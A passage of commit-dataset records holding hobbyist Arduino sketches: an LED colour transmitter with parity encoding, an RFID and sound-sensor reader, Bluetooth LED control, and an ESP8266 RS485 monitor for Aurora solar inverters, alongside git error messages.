main code here, to run repeatedly:\n\n String str;\n if (Serial.available() > 0)\n {\n str = Serial.readString(); \/\/ read a single letter if (ch >= 'a' && ch <= 'z')\n\n if(str == \"sync\")\n synchronization();\n else\n {\n for(int j=0; j<str.length(); ++j)\n {\n Serial.print(str[j] + \": \");\n flashSequence(str[j]);\n i = 0;\n }\n }\n digitalWrite(r, LOW);\n digitalWrite(g, LOW);\n digitalWrite(b, LOW);\n\/\/delay(dotDelay * 4);\n\n }\n}\n\nvoid flashSequence(char sequence)\n{\n bool out[8], parity[4];\n\n encodeASCII(sequence, out);\n addParity(out, parity);\n bool buff[12] = {parity[0], parity[1], out[0], parity[2], out[1], out[2], out[3], parity[3],\n out[4], out[5], out[6], out[7]};\n\n Serial.print(sequence);\n Serial.print(\": \");\n\n tcs.getRawData(&red, &green, &blue, &c); \/\/store environment values\n while(green < egreen*2)\n {\n tcs.getRawData(&red, &green, &blue, &c); \/\/store environment values\n }\n bool first = true;\n while(i<12)\n {\n if(!first)\n {\n tcs.getRawData(&red, &green, &blue, &c); \/\/store environment values\n while(blue < eblue*2)\n {\n tcs.getRawData(&red, &green, &blue, &c); \/\/store environment values\n }\n while(blue < eblue*2)\n {\n tcs.getRawData(&red, &green, &blue, &c); \/\/store environment values\n }\n }\n\n first = false;\n if(i % 3 == 0)\n {\n flashDotOrDash(2, buff[i]);\n i++;\n }\n if(i % 3 == 1)\n {\n flashDotOrDash(3, buff[i]);\n i++;\n }\n if(i % 3 == 2)\n {\n flashDotOrDash(4, buff[i]);\n i++;\n }\n delay(1000);\n }\n Serial.println();\n\n}\n\n\nvoid flashDotOrDash(int color, bool dotOrDash)\n{\n Serial.print(dotOrDash);\n if(dotOrDash)\n digitalWrite(color, HIGH);\n else\n digitalWrite(color, LOW);\n}\n\nvoid synchronization(void)\n{\n digitalWrite(r, HIGH);\n delay(initDelay);\n digitalWrite(r, LOW);\n\n digitalWrite(g, HIGH);\n delay(initDelay);\n digitalWrite(g, LOW);\n\n digitalWrite(b, HIGH);\n delay(initDelay);\n digitalWrite(b, LOW);\n\n\n digitalWrite(r, HIGH);\n digitalWrite(g, HIGH);\n delay(initDelay);\n digitalWrite(r, LOW);\n digitalWrite(g, LOW);\n\n digitalWrite(r, HIGH);\n digitalWrite(b, HIGH);\n delay(initDelay);\n digitalWrite(r, LOW);\n digitalWrite(b, LOW);\n\n digitalWrite(g, HIGH);\n digitalWrite(b, HIGH);\n delay(initDelay);\n digitalWrite(g, LOW);\n digitalWrite(b, LOW);\n\n\n digitalWrite(r, HIGH);\n digitalWrite(g, HIGH);\n digitalWrite(b, HIGH);\n delay(initDelay);\n digitalWrite(r, LOW);\n digitalWrite(g, LOW);\n digitalWrite(b, LOW);\n delay(initDelay);\n}\n\n\nvoid encodeASCII(char in, bool out[])\n{\n for(int j = 0; j < 8; j++)\n out[j] = 0;\n\n out[0] = 0;\n if(in % 2)\n out[7] = 1;\n in = in \/ 2;\n if(in % 2)\n out[6] = 1;\n in = in \/ 2;\n if(in % 2)\n out[5] = 1;\n in = in \/ 2;\n if(in % 2)\n out[4] = 1;\n in = in \/ 2;\n if(in % 2)\n out[3] = 1;\n in = in \/ 2;\n if(in % 2)\n out[2] = 1;\n in = in \/ 2;\n if(in % 2)\n out[1] = 1;\n in = in \/ 2;\n}\n\nvoid addParity(bool data[], bool parity[])\n{\n\n parity[0]=data[0]^data[1]^data[3]^data[4]^data[6];\n parity[1]=data[0]^data[2]^data[3]^data[5]^data[6];\n parity[2]=data[1]^data[2]^data[3]^data[7];\n parity[3]=data[4]^data[5]^data[6]^data[7];\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'transmit\/transmit.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"97a6582d0fb8c2318f74c44ae3297cedb5078e9e","subject":"Integration of the sound sensor and rfid","message":"Integration of the sound sensor and rfid\n","repos":"CarlosPena00\/Mobbi,CarlosPena00\/Mobbi","old_file":"Arduino\/mod_rifd_sound.ino","new_file":"Arduino\/mod_rifd_sound.ino","new_contents":"\n#include <MFRC522.h> \n\n#define SS_PIN 10\n#define RST_PIN 9\n\n#define LIMIT 10\n\n\/\/ Definicoes pino modulo RC522\nMFRC522 mfrc522(SS_PIN, RST_PIN); \n\n\/\/Led para liberacao do rfid\nint led_rfid = 5;\n\n\/\/Led para debug de ruido\nint led_sound_sensor = 4;\n\n\/\/Definicao dos pinos do sensor de ruido\nint pino_analogico = A5;\nint pino_digital = 7;\n\nint valor_A0 = 0;\nint valor_D = 0;\n\nint control_sound_sensor = 0;\n\nint op = 0;\n\nvoid getSoundSensor(){\n\tif(control_sound_sensor > LIMIT){\n\t\top = 1;\n\t\treturn;\n\t}\n\t\/\/ put your main code here, to run repeatedly:\n \tvalor_A0 = analogRead(pino_analogico);\n \tvalor_D = digitalRead(pino_digital);\n \tSerial.print(valor_A0);\n \tSerial.print(\" \");\n \tSerial.println(valor_D);\n \tcontrol_sound_sensor++;\n}\n\nvoid getRFID(){\n\t\/\/Reset sound sensor\n\top = 0;\n\tcontrol_sound_sensor = 0;\n\n\t\/\/ Aguarda a aproximacao do cartao\n \tif ( ! mfrc522.PICC_IsNewCardPresent()) \n \t{\n \t \treturn;\n \t}\n \t\/\/ Seleciona um dos cartoes\n \tif ( ! mfrc522.PICC_ReadCardSerial()) \n \t{\n \t \treturn;\n \t}\n\n \tString conteudo = \"\";\n \tbyte letra;\n\n \tfor (byte i = 0; i < mfrc522.uid.size; i++) \n \t{\n \tconteudo.concat(String(mfrc522.uid.uidByte[i] < 0x10 ? \" 0\" : \" \"));\n \tconteudo.concat(String(mfrc522.uid.uidByte[i], HEX));\n \t}\n\n \tconteudo.toUpperCase();\n \t\/\/Enviar conteudo.substring(1) via serial\n \tSerial.println(conteudo.substring(1));\n \t\n \tdigitalWrite(led_rfid, HIGH);\n \tdelay(200);\n \tdigitalWrite(led_rfid, LOW);\n \tdelay(200);\n}\n\nvoid setup(){\n\t\/\/ Inicia a serial\n \tSerial.begin(9600);\n \t\/\/Led rifd sensor\n\tpinMode(led_rfid, OUTPUT);\n\t\/\/Led sound sensor\n\tpinMode(led_sound_sensor, OUTPUT);\n \t\/\/inicia RFID\n \tmfrc522.PCD_Init();\n \t\/\/Define pinos sensor como entrada\n \tpinMode(pino_analogico, INPUT);\n \tpinMode(pino_digital, INPUT);\n}\n\nvoid loop(){\n\tswitch(op){\n\t\tcase 0:\n\t\t\tgetSoundSensor();\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\tgetRFID();\n\t\t\tbreak;\n\t}\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/mod_rifd_sound.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0b0aa0301c18afbc228958171257b43cd99124d4","subject":"Create arduino.ino","message":"Create arduino.ino","repos":"Libs1\/SoftwareControlledDrone.github.io,Libs1\/SoftwareControlledDrone.github.io","old_file":"BlueToothFiles\/arduino.ino","new_file":"BlueToothFiles\/arduino.ino","new_contents":"char incomingByte; \/\/ incoming data\nint LED = 13; \/\/ LED pin\nint i = 0;\n\nvoid setup() {\n Serial.begin(9600); \/\/ initialization\n pinMode(LED, OUTPUT);\n Serial.println(\"Press 1 to LED ON or 0 to LED OFF...\");\n}\n\nvoid loop() {\n if (Serial.available() > 0) { \/\/ if the data came\n incomingByte = Serial.read(); \/\/ read byte\n if(incomingByte == '0') {\n digitalWrite(LED, LOW); \/\/ if 1, switch LED Off\n Serial.println(\"LED OFF. Press 1 to LED ON!\"); \/\/ print message\n }\n if(incomingByte == '1') {\n digitalWrite(LED, HIGH); \/\/ if 0, switch LED on\n Serial.println(\"LED ON. Press 0 to LED OFF!\");\n }\n\n if(incomingByte == '2') {\n Serial.println(\"LED ON. Press 0 to LED OFF!\");\n for(i=0;i<10;i++){\n digitalWrite(LED, HIGH); \/\/ if 0, switch LED on\n delay(300);\n digitalWrite(LED, LOW); \/\/ if 0, switch LED on\n delay(300);\n }\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'BlueToothFiles\/arduino.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"440ad478e4bff0c7470def65a36e95ca41fa87fa","subject":"Create wemos_remote.ino","message":"Create wemos_remote.ino","repos":"vaskovasilev\/webcontrol,vaskovasilev\/webcontrol,vaskovasilev\/webcontrol,vaskovasilev\/webcontrol,vaskovasilev\/webcontrol","old_file":"var\/webcontrol\/samples\/wemos_remote.ino","new_file":"var\/webcontrol\/samples\/wemos_remote.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/vaskovasilev\/webcontrol.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"03452374a0725ba17b877f22ad8178bfb2d7f14e","subject":"arduino code updates","message":"arduino code updates\n","repos":"punkkills\/delta5_race_timer,scottgchin\/delta5_race_timer,scottgchin\/delta5_race_timer,scottgchin\/delta5_race_timer,punkkills\/delta5_race_timer,scottgchin\/delta5_race_timer,punkkills\/delta5_race_timer","old_file":"src\/arduino code\/delta5-race-timer-node\/delta5-race-timer-node.ino","new_file":"src\/arduino code\/delta5-race-timer-node\/delta5-race-timer-node.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/arduino' did not match any file(s) known to git\nerror: pathspec 'code\/delta5-race-timer-node\/delta5-race-timer-node.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5a641c4b6c1471f9d150f0cde29806e7020ed480","subject":"Update esp8266_remote.ino","message":"Update esp8266_remote.ino","repos":"vaskovasilev\/webcontrol,vaskovasilev\/webcontrol,vaskovasilev\/webcontrol,vaskovasilev\/webcontrol,vaskovasilev\/webcontrol","old_file":"var\/webcontrol\/samples\/esp8266_remote.ino","new_file":"var\/webcontrol\/samples\/esp8266_remote.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/vaskovasilev\/webcontrol.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f230b19de0f26b107a57edbadaee724f755b0912","subject":"minor change","message":"minor change\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Sensor Modules\/Sound Sensor\/SoundSensorATtiny\/SoundSensorATtiny.ino","new_file":"Sensor Modules\/Sound Sensor\/SoundSensorATtiny\/SoundSensorATtiny.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sensor' did not match any file(s) known to git\nerror: pathspec 'Modules\/Sound' did not match any file(s) known to git\nerror: pathspec 'Sensor\/SoundSensorATtiny\/SoundSensorATtiny.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"63ce593bf856c7942f5e2740a2f1414990ceed79","subject":"Create Arduino.ino","message":"Create Arduino.ino","repos":"Restioson\/Rover3,Restioson\/Rover3,Restioson\/Rover3,Restioson\/Rover3","old_file":"Arduino\/Arduino.ino","new_file":"Arduino\/Arduino.ino","new_contents":"\/*\n*An Arduino Sketch...\n*Waiting to be uploaded\n*...\n*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/Arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ed84cb83850227d9ed31c5ee8d8fcbf3c5624bbc","subject":"Added rpm and torque formulas that use measured motor datapoints (#define's). Un-broke loop due to missing flag. Added duty_cycle bump at the end of its while() loop so it could get back into it.","message":"Added rpm and torque formulas that use measured motor datapoints (#define's). Un-broke loop due to missing flag. Added duty_cycle bump at the end of its while() loop so it could get back into it.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_file":"Motor Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/setSpeedReadEmf\/setSpeedReadEmf.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8a5beaa57cc2ba1f3795273f5518bcc2c31a14e8","subject":"Added arduino firmware for single LED","message":"Added arduino firmware for single LED\n","repos":"Annath\/bamboo-monitor","old_file":"bamboo_indicator\/bamboo_indicator.ino","new_file":"bamboo_indicator\/bamboo_indicator.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Annath\/bamboo-monitor.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"02f6437855ddd5f4db3a36b194f7eeaf58183b8c","subject":"add arduino code","message":"add arduino code\n","repos":"kevin00036\/NTUEE_light_dance,kevin00036\/NTUEE_light_dance,kevin00036\/NTUEE_light_dance,kevin00036\/NTUEE_light_dance","old_file":"control\/control.ino","new_file":"control\/control.ino","new_contents":"long int cnt = 0;\n\nvoid setup() {\n for(int i=0; i<=13; i++)\n pinMode(i, OUTPUT);\n\n Serial.begin(9600);\n} \n\nvoid loop() {\n int tl = 500;\n cnt++;\n\n int d = cnt % 14;\n for(int i=0; i<=13; i++)\n digitalWrite(i, d==i ? HIGH : LOW);\n Serial.println(d);\n delay(tl);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'control\/control.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9d54c61eae90cdf971c027ede75556d71f8522cc","subject":"Create AuroraInverter3.ino","message":"Create AuroraInverter3.ino","repos":"mttstt\/Domoticasite,mttstt\/Domoticasite","old_file":"AuroraInverter3.ino","new_file":"AuroraInverter3.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <WiFiClient.h>\n#include <ESP8266WiFiMulti.h> \n#include <ESP8266mDNS.h>\n#include <ESP8266WebServer.h>\n#include <SoftwareSerial.h>\n\n\/\/RS485 control\n#define SSerialTxControl 5 \/\/GPIO5 (D1)\n#define RS485Transmit HIGH \n#define RS485Receive LOW \n\n#define RX 3 \/\/GPIO3 (RX)\n#define TX 1 \/\/GPIO1 (TX)\n\n\nclass clsAurora {\nprivate:\n int MaxAttempt = 1;\n byte Address = 0;\n\n void clearData(byte *data, byte len) {\n for (int i = 0; i < len; i++) {\n data[i] = 0;\n }\n }\n\n int Crc16(byte *data, int offset, int count)\n {\n byte BccLo = 0xFF;\n byte BccHi = 0xFF;\n\n for (int i = offset; i < (offset + count); i++)\n {\n byte New = data[offset + i] ^ BccLo;\n byte Tmp = New << 4;\n New = Tmp ^ New;\n Tmp = New >> 5;\n BccLo = BccHi;\n BccHi = New ^ Tmp;\n Tmp = New << 3;\n BccLo = BccLo ^ Tmp;\n Tmp = New >> 4;\n BccLo = BccLo ^ Tmp;\n\n }\n\n return (int)word(~BccHi, ~BccLo);\n }\n\n bool Send(byte address, byte param0, byte param1, byte param2, byte param3, byte param4, byte param5, byte param6)\n {\n\n SendStatus = false;\n ReceiveStatus = false;\n\n byte SendData[10];\n SendData[0] = address;\n SendData[1] = param0;\n SendData[2] = param1;\n SendData[3] = param2;\n SendData[4] = param3;\n SendData[5] = param4;\n SendData[6] = param5;\n SendData[7] = param6;\n\n int crc = Crc16(SendData, 0, 8);\n SendData[8] = lowByte(crc);\n SendData[9] = highByte(crc);\n\n clearReceiveData();\n\n for (int i = 0; i < MaxAttempt; i++)\n {\n digitalWrite(SSerialTxControl, RS485Transmit);\n delay(50);\n\n if (Serial.write(SendData, sizeof(SendData)) != 0) {\n Serial.flush();\n SendStatus = true;\n\n digitalWrite(SSerialTxControl, RS485Receive);\n\n if (Serial.readBytes(ReceiveData, sizeof(ReceiveData)) != 0) {\n if ((int)word(ReceiveData[7], ReceiveData[6]) == Crc16(ReceiveData, 0, 6)) {\n ReceiveStatus = true;\n break;\n }\n }\n }\n }\n return ReceiveStatus;\n }\n\n union {\n byte asBytes[4];\n float asFloat;\n } foo;\n\n union {\n byte asBytes[4];\n unsigned long asUlong;\n } ulo;\n\npublic:\n bool SendStatus = false;\n bool ReceiveStatus = false;\n byte ReceiveData[8];\n\n clsAurora(byte address) {\n Address = address;\n\n SendStatus = false;\n ReceiveStatus = false;\n\n clearReceiveData();\n }\n\n void clearReceiveData() {\n clearData(ReceiveData, 8);\n }\n\n String TransmissionState(byte id) {\n switch (id)\n {\n case 0:\n return F(\"Everything is OK.\");\n break;\n case 51:\n return F(\"Command is not implemented\");\n break;\n case 52:\n return F(\"Variable does not exist\");\n break;\n case 53:\n return F(\"Variable value is out of range\");\n break;\n case 54:\n return F(\"EEprom not accessible\");\n break;\n case 55:\n return F(\"Not Toggled Service Mode\");\n break;\n case 56:\n return F(\"Can not send the command to internal micro\");\n break;\n case 57:\n return F(\"Command not Executed\");\n break;\n case 58:\n return F(\"The variable is not available, retry\");\n break;\n default:\n return F(\"Sconosciuto\");\n break;\n }\n }\n\n String GlobalState(byte id) {\n switch (id)\n {\n case 0:\n return F(\"Sending Parameters\");\n break;\n case 1:\n return F(\"Wait Sun \/ Grid\");\n break;\n case 2:\n return F(\"Checking Grid\");\n break;\n case 3:\n return F(\"Measuring Riso\");\n break;\n case 4:\n return F(\"DcDc Start\");\n break;\n case 5:\n return F(\"Inverter Start\");\n break;\n case 6:\n return F(\"Run\");\n break;\n case 7:\n return F(\"Recovery\");\n break;\n case 8:\n return F(\"Pausev\");\n break;\n case 9:\n return F(\"Ground Fault\");\n break;\n case 10:\n return F(\"OTH Fault\");\n break;\n case 11:\n return F(\"Address Setting\");\n break;\n case 12:\n return F(\"Self Test\");\n break;\n case 13:\n return F(\"Self Test Fail\");\n break;\n case 14:\n return F(\"Sensor Test + Meas.Riso\");\n break;\n case 15:\n return F(\"Leak Fault\");\n break;\n case 16:\n return F(\"Waiting for manual reset\");\n break;\n case 17:\n return F(\"Internal Error E026\");\n break;\n case 18:\n return F(\"Internal Error E027\");\n break;\n case 19:\n return F(\"Internal Error E028\");\n break;\n case 20:\n return F(\"Internal Error E029\");\n break;\n case 21:\n return F(\"Internal Error E030\");\n break;\n case 22:\n return F(\"Sending Wind Table\");\n break;\n case 23:\n return F(\"Failed Sending table\");\n break;\n case 24:\n return F(\"UTH Fault\");\n break;\n case 25:\n return F(\"Remote OFF\");\n break;\n case 26:\n return F(\"Interlock Fail\");\n break;\n case 27:\n return F(\"Executing Autotest\");\n break;\n case 30:\n return F(\"Waiting Sun\");\n break;\n case 31:\n return F(\"Temperature Fault\");\n break;\n case 32:\n return F(\"Fan Staucked\");\n break;\n case 33:\n return F(\"Int.Com.Fault\");\n break;\n case 34:\n return F(\"Slave Insertion\");\n break;\n case 35:\n return F(\"DC Switch Open\");\n break;\n case 36:\n return F(\"TRAS Switch Open\");\n break;\n case 37:\n return F(\"MASTER Exclusion\");\n break;\n case 38:\n return F(\"Auto Exclusion\");\n break;\n case 98:\n return F(\"Erasing Internal EEprom\");\n break;\n case 99:\n return F(\"Erasing External EEprom\");\n break;\n case 100:\n return F(\"Counting EEprom\");\n break;\n case 101:\n return F(\"Freeze\");\n default:\n return F(\"Sconosciuto\");\n break;\n }\n }\n\n String DcDcState(byte id) {\n switch (id)\n {\n case 0:\n return F(\"DcDc OFF\");\n break;\n case 1:\n return F(\"Ramp Start\");\n break;\n case 2:\n return F(\"MPPT\");\n break;\n case 3:\n return F(\"Not Used\");\n break;\n case 4:\n return F(\"Input OC\");\n break;\n case 5:\n return F(\"Input UV\");\n break;\n case 6:\n return F(\"Input OV\");\n break;\n case 7:\n return F(\"Input Low\");\n break;\n case 8:\n return F(\"No Parameters\");\n break;\n case 9:\n return F(\"Bulk OV\");\n break;\n case 10:\n return F(\"Communication Error\");\n break;\n case 11:\n return F(\"Ramp Fail\");\n break;\n case 12:\n return F(\"Internal Error\");\n break;\n case 13:\n return F(\"Input mode Error\");\n break;\n case 14:\n return F(\"Ground Fault\");\n break;\n case 15:\n return F(\"Inverter Fail\");\n break;\n case 16:\n return F(\"DcDc IGBT Sat\");\n break;\n case 17:\n return F(\"DcDc ILEAK Fail\");\n break;\n case 18:\n return F(\"DcDc Grid Fail\");\n break;\n case 19:\n return F(\"DcDc Comm.Error\");\n break;\n default:\n return F(\"Sconosciuto\");\n break;\n }\n }\n\n String InverterState(byte id) {\n switch (id)\n {\n case 0:\n return F(\"Stand By\");\n break;\n case 1:\n return F(\"Checking Grid\");\n break;\n case 2:\n return F(\"Run\");\n break;\n case 3:\n return F(\"Bulk OV\");\n break;\n case 4:\n return F(\"Out OC\");\n break;\n case 5:\n return F(\"IGBT Sat\");\n break;\n case 6:\n return F(\"Bulk UV\");\n break;\n case 7:\n return F(\"Degauss Error\");\n break;\n case 8:\n return F(\"No Parameters\");\n break;\n case 9:\n return F(\"Bulk Low\");\n break;\n case 10:\n return F(\"Grid OV\");\n break;\n case 11:\n return F(\"Communication Error\");\n break;\n case 12:\n return F(\"Degaussing\");\n break;\n case 13:\n return F(\"Starting\");\n break;\n case 14:\n return F(\"Bulk Cap Fail\");\n break;\n case 15:\n return F(\"Leak Fail\");\n break;\n case 16:\n return F(\"DcDc Fail\");\n break;\n case 17:\n return F(\"Ileak Sensor Fail\");\n break;\n case 18:\n return F(\"SelfTest: relay inverter\");\n break;\n case 19:\n return F(\"SelfTest : wait for sensor test\");\n break;\n case 20:\n return F(\"SelfTest : test relay DcDc + sensor\");\n break;\n case 21:\n return F(\"SelfTest : relay inverter fail\");\n break;\n case 22:\n return F(\"SelfTest timeout fail\");\n break;\n case 23:\n return F(\"SelfTest : relay DcDc fail\");\n break;\n case 24:\n return F(\"Self Test 1\");\n break;\n case 25:\n return F(\"Waiting self test start\");\n break;\n case 26:\n return F(\"Dc Injection\");\n break;\n case 27:\n return F(\"Self Test 2\");\n break;\n case 28:\n return F(\"Self Test 3\");\n break;\n case 29:\n return F(\"Self Test 4\");\n break;\n case 30:\n return F(\"Internal Error\");\n break;\n case 31:\n return F(\"Internal Error\");\n break;\n case 40:\n return F(\"Forbidden State\");\n break;\n case 41:\n return F(\"Input UC\");\n break;\n case 42:\n return F(\"Zero Power\");\n break;\n case 43:\n return F(\"Grid Not Present\");\n break;\n case 44:\n return F(\"Waiting Start\");\n break;\n case 45:\n return F(\"MPPT\");\n break;\n case 46:\n return F(\"Grid Fail\");\n break;\n case 47:\n return F(\"Input OC\");\n break;\n default:\n return F(\"Sconosciuto\");\n break;\n }\n }\n\n String AlarmState(byte id) {\n switch (id)\n {\n case 0:\n return F(\"No Alarm\");\n break;\n case 1:\n return F(\"Sun Low\");\n break;\n case 2:\n return F(\"Input OC\");\n break;\n case 3:\n return F(\"Input UV\");\n break;\n case 4:\n return F(\"Input OV\");\n break;\n case 5:\n return F(\"Sun Low\");\n break;\n case 6:\n return F(\"No Parameters\");\n break;\n case 7:\n return F(\"Bulk OV\");\n break;\n case 8:\n return F(\"Comm.Error\");\n break;\n case 9:\n return F(\"Output OC\");\n break;\n case 10:\n return F(\"IGBT Sat\");\n break;\n case 11:\n return F(\"Bulk UV\");\n break;\n case 12:\n return F(\"Internal error\");\n break;\n case 13:\n return F(\"Grid Fail\");\n break;\n case 14:\n return F(\"Bulk Low\");\n break;\n case 15:\n return F(\"Ramp Fail\");\n break;\n case 16:\n return F(\"Dc \/ Dc Fail\");\n break;\n case 17:\n return F(\"Wrong Mode\");\n break;\n case 18:\n return F(\"Ground Fault\");\n break;\n case 19:\n return F(\"Over Temp.\");\n break;\n case 20:\n return F(\"Bulk Cap Fail\");\n break;\n case 21:\n return F(\"Inverter Fail\");\n break;\n case 22:\n return F(\"Start Timeout\");\n break;\n case 23:\n return F(\"Ground Fault\");\n break;\n case 24:\n return F(\"Degauss error\");\n break;\n case 25:\n return F(\"Ileak sens.fail\");\n break;\n case 26:\n return F(\"DcDc Fail\");\n break;\n case 27:\n return F(\"Self Test Error 1\");\n break;\n case 28:\n return F(\"Self Test Error 2\");\n break;\n case 29:\n return F(\"Self Test Error 3\");\n break;\n case 30:\n return F(\"Self Test Error 4\");\n break;\n case 31:\n return F(\"DC inj error\");\n break;\n case 32:\n return F(\"Grid OV\");\n break;\n case 33:\n return F(\"Grid UV\");\n break;\n case 34:\n return F(\"Grid OF\");\n break;\n case 35:\n return F(\"Grid UF\");\n break;\n case 36:\n return F(\"Z grid Hi\");\n break;\n case 37:\n return F(\"Internal error\");\n break;\n case 38:\n return F(\"Riso Low\");\n break;\n case 39:\n return F(\"Vref Error\");\n break;\n case 40:\n return F(\"Error Meas V\");\n break;\n case 41:\n return F(\"Error Meas F\");\n break;\n case 42:\n return F(\"Error Meas Z\");\n break;\n case 43:\n return F(\"Error Meas Ileak\");\n break;\n case 44:\n return F(\"Error Read V\");\n break;\n case 45:\n return F(\"Error Read I\");\n break;\n case 46:\n return F(\"Table fail\");\n break;\n case 47:\n return F(\"Fan Fail\");\n break;\n case 48:\n return F(\"UTH\");\n break;\n case 49:\n return F(\"Interlock fail\");\n break;\n case 50:\n return F(\"Remote Off\");\n break;\n case 51:\n return F(\"Vout Avg errror\");\n break;\n case 52:\n return F(\"Battery low\");\n break;\n case 53:\n return F(\"Clk fail\");\n break;\n case 54:\n return F(\"Input UC\");\n break;\n case 55:\n return F(\"Zero Power\");\n break;\n case 56:\n return F(\"Fan Stucked\");\n break;\n case 57:\n return F(\"DC Switch Open\");\n break;\n case 58:\n return F(\"Tras Switch Open\");\n break;\n case 59:\n return F(\"AC Switch Open\");\n break;\n case 60:\n return F(\"Bulk UV\");\n break;\n case 61:\n return F(\"Autoexclusion\");\n break;\n case 62:\n return F(\"Grid df \/ dt\");\n break;\n case 63:\n return F(\"Den switch Open\");\n break;\n case 64:\n return F(\"Jbox fail\");\n break;\n default:\n return F(\"Sconosciuto\");\n break;\n }\n }\n\n typedef struct {\n byte TransmissionState;\n byte GlobalState;\n byte InverterState;\n byte Channel1State;\n byte Channel2State;\n byte AlarmState;\n bool ReadState;\n } DataState;\n\n DataState State;\n\n bool ReadState() {\n State.ReadState = Send(Address, (byte)50, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n\n if (State.ReadState == false) {\n ReceiveData[0] = 255;\n ReceiveData[1] = 255;\n ReceiveData[2] = 255;\n ReceiveData[3] = 255;\n ReceiveData[4] = 255;\n ReceiveData[5] = 255;\n }\n\n State.TransmissionState = ReceiveData[0];\n State.GlobalState = ReceiveData[1];\n State.InverterState = ReceiveData[2];\n State.Channel1State = ReceiveData[3];\n State.Channel2State = ReceiveData[4];\n State.AlarmState = ReceiveData[5];\n\n return State.ReadState;\n }\n\n typedef struct {\n byte TransmissionState;\n byte GlobalState;\n String Par1;\n String Par2;\n String Par3;\n String Par4;\n bool ReadState;\n } DataVersion;\n\n DataVersion Version;\n\n bool ReadVersion() {\n Version.ReadState = Send(Address, (byte)58, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0, (byte)0);\n\n if (Version.ReadState == false) {\n ReceiveData[0] = 255;\n ReceiveData[1] = 255;\n }\n\n Version.TransmissionState = ReceiveData[0];\n Version.GlobalState = ReceiveData[1];\n\n switch ((char)ReceiveData[2])\n {\n case 'i':\n Version.Par1 = F(\"Aurora 2 kW indoor\");\n break;\n case 'o':\n Version.Par1 = F(\"Aurora 2 kW outdoor\");\n break;\n case 'I':\n Version.Par1 = F(\"Aurora 3.6 kW indoor\");\n break;\n case 'O':\n Version.Par1 = F(\"Aurora 3.0 - 3.6 kW outdoor\");\n break;\n case '5':\n Version.Par1 = F(\"Aurora 5.0 kW outdoor\");\n break;\n case '6':\n Version.Par1 = F(\"Aurora 6 kW outdoor\");\n break;\n case 'P':\n Version.Par1 = F(\"3 - phase interface (3G74)\");\n break;\n case 'C':\n Version.Par1 = F(\"Aurora 50kW module\");\n break;\n case '4':\n Version.Par1 = F(\"Aurora 4.2kW new\");\n break;\n case '3':\n Version.Par1 = F(\"Aurora 3.6kW new\");\n break;\n case '2':\n Version.Par1 = F(\"Aurora 3.3kW new\");\n break;\n case '1':\n Version.Par1 = F(\"Aurora 3.0kW new\");\n break;\n case 'D':\n Version.Par1 = F(\"Aurora 12.0kW\");\n break;\n case 'X':\n Version.Par1 = F(\"Aurora 10.0kW\");\n break;\n default:\n Version.Par1 = F(\"Sconosciuto\");\n break;\n }\n\n switch ((char)ReceiveData[3])\n {\n case 'A':\n Version.Par2 = F(\"UL1741\");\n break;\n case 'E':\n Version.Par2 = F(\"VDE0126\");\n break;\n case 'S':\n Version.Par2 = F(\"DR 1663 \/ 2000\");\n break;\n case 'I':\n Version.Par2 = F(\"ENEL DK 5950\");\n break;\n case 'U':\n Version.Par2 = F(\"UK G83\");\n break;\n case 'K':\n Version.Par2 = F(\"AS 4777\");\n break;\n default:\n Version.Par2 = F(\"Sconosciuto\");\n break;\n }\n\n switch ((char)ReceiveData[4])\n {\n case 'N':\n Version.Par3 = F(\"Transformerless Version\");\n break;\n case 'T':\n Version.Par3 = F(\"Transformer Version\");\n break;\n default:\n Version.Par3 = F(\"Sconosciuto\");\n break;\n }\n\n switch ((char)ReceiveData[5])\n {\n case 'W':\n Version.Par4 = F(\"Wind version\");\n break;\n case 'N':\n Version.Par4 = F(\"PV version\");\n break;\n default:\n 